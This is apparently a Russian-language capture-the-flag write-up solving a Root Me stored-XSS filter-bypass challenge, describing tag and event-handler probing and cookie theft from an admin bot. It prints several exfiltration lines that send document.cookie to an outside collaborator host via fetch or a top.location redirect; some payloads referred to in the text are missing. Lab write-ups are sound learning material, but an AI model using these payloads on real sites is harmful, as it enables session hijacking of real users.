XSS - Stored - filter bypass - Root Me
Однажды я столкнулся с лабораторной работой по обходу фильтрации при XSS, которая решается не очевидным способом. Направление, в котором двигаться, не сразу становится понятным. Лаборатория блокирует множество символов, и бот реагирует только на определенные обработчики событий, которые не должны требовать каких-либо действий от пользователя.
Context XSS.
При выборе тега для внедрения XSS важно учитывать контекст, в котором он будет использоваться, и потенциальные ограничения или фильтрацию, применяемые на сайте. PortSwigger предоставляет набор примеров и тегов, которые могут быть полезны при тестировании уязвимостей XSS.
От разрешенных тегов можно строить дальнейшую атаку. Мой выбор пал на тег svg.
Попробуем использовать обработчик событий.
Совершим ту же операцию что и с подбором тегов, но уже с обработчиками событий.
Перед нами открывается большой список обработчиков событий, но не все из них нам подойдут, так как используемый бот в лаборатории реагирует только на очень ограниченное количество обработчиков событий.
Присутствует также проблема - валидация вхождения ().
Решается с помощью замены их на - ) *
В итоге контекст нашей XSS - обработчик событий.
Detect alert.
Для вывода alert подходит полезная нагрузка в виде:
В данном случае необходимо выполнить определенные действия, а именно - нажать на место внедрения полезной нагрузки. Это не подходит для бота и получения его сессии.
Аналогичный вариант с использованием внутреннего тега svg:
Print Cookie.
Вхождение document.cookie также блокируется.
document.cookie
Выводим сессионный идентификатор:
Collaborator Cookie.
Важно уточнить что мы не можем использовать пробелы.
Посылать свой сессионный идентификатор буду с помощью fetch запроса:
fetch(`https://COLLAB/?jsonc=`+document.cookie)
Исправим его под нашу ситуацию:
fetch(`https://COLLAB/?jsonc=`/document.cookie)
Но к сожалению это не сработает. Видимо обработчик событий не подходит. Заменю на autofocus onfocus и тег button.
button
При нажатии на кнопку мы получаем ответ на свой коллаборатор. Осталось получить сессионный идентификатор администратора.
Steal Cookie.
Кажется, что украсть куки может быть легко, но, к сожалению, бот реагирует очень специфично, и необходимо понять, как именно мы сможем получить его сессию. В моем случае также подошел autofocus onfocus, но с небольшим изменением.
Можно заметить, что после прочтения нашего комментария на странице, запрос от бота идет, но сессионный идентификатор не приходит.
Решением стало использовать filter.constructor и atob:
fetch(`https://mrh71t911x9kj2jyxed0cl9n9ef53zro.oastify.com/?jsonc=`.concat(document.cookie))
Теперь не требуется нажатие от пользователя, и запрос выполняется без его ведома.
Похоже, что fetch здесь также не подошел из-за отсутствия редиректа бота. Видимо, он просматривает сообщения из отдельного интерфейса, и сессионный идентификатор не приходит. Я воспользуюсь альтернативным способом:
top.location='//COLLAB?'+document.cookie
При открытии данного сообщения происходит редирект на другую страницу, и мне удается получить сессионный идентификатор.